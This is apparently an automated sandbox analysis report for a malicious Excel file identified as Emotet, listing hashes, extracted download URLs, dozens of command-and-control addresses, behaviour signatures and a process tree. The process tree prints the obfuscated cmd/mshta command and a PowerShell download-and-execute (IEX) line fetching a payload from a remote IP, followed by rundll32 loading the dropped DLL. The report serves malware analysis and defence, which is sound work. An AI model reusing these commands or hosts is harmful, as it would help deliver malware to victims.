Analysis
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max time kernel
152s -
max time network
142s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
18-01-2022 20:46
Behavioral task
behavioral1
Sample
95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294.xls
Resource
win10-en-20211208
General
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Target
95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294.xls
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Size
142KB
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MD5
0c890caa5574298838e2463f2a9eec1f
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SHA1
84616f046e7b29279d4a5af740b8524cd1b02a6e
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SHA256
95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294
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SHA512
d7ca540e210ad4d7efdb9061a2915e2a790cff59ebf69f21f79540c0ab62c4b1bc16b51cc6a5f408a0f49544a6b15c2461a1f3a59385d7574c1f858b6ce44d03
Malware Config
Extracted
http://185.7.214.7/ve/ve.html
Extracted
http://185.7.214.7/ve/ve.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3124 2584 cmd.exe 67 -
Blocklisted process makes network request 5 IoCs
flow pid Process 35 3772 mshta.exe 40 4036 powershell.exe 42 4036 powershell.exe 45 1216 rundll32.exe 46 1216 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 2052 rundll32.exe 2200 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Vtewm\fezh.cgu rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 1236 3772 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2584 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 4036 powershell.exe 4036 powershell.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 1236 WerFault.exe 4036 powershell.exe 1216 rundll32.exe 1216 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4036 powershell.exe Token: SeDebugPrivilege 1236 WerFault.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE 2584 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2584 wrote to memory of 3124 2584 EXCEL.EXE 72 PID 2584 wrote to memory of 3124 2584 EXCEL.EXE 72 PID 3124 wrote to memory of 3772 3124 cmd.exe 74 PID 3124 wrote to memory of 3772 3124 cmd.exe 74 PID 3772 wrote to memory of 4036 3772 mshta.exe 76 PID 3772 wrote to memory of 4036 3772 mshta.exe 76 PID 4036 wrote to memory of 1796 4036 powershell.exe 79 PID 4036 wrote to memory of 1796 4036 powershell.exe 79 PID 1796 wrote to memory of 2052 1796 cmd.exe 80 PID 1796 wrote to memory of 2052 1796 cmd.exe 80 PID 1796 wrote to memory of 2052 1796 cmd.exe 80 PID 2052 wrote to memory of 2200 2052 rundll32.exe 81 PID 2052 wrote to memory of 2200 2052 rundll32.exe 81 PID 2052 wrote to memory of 2200 2052 rundll32.exe 81 PID 2200 wrote to memory of 3548 2200 rundll32.exe 82 PID 2200 wrote to memory of 3548 2200 rundll32.exe 82 PID 2200 wrote to memory of 3548 2200 rundll32.exe 82 PID 3548 wrote to memory of 1216 3548 rundll32.exe 83 PID 3548 wrote to memory of 1216 3548 rundll32.exe 83 PID 3548 wrote to memory of 1216 3548 rundll32.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Windows\system32\mshta.exemshta http://185.7.214.7/ve/ve.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/ve/ve.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vtewm\fezh.cgu",OBVMzgsX8⤵
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vtewm\fezh.cgu",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1216
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3772 -s 16604⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236
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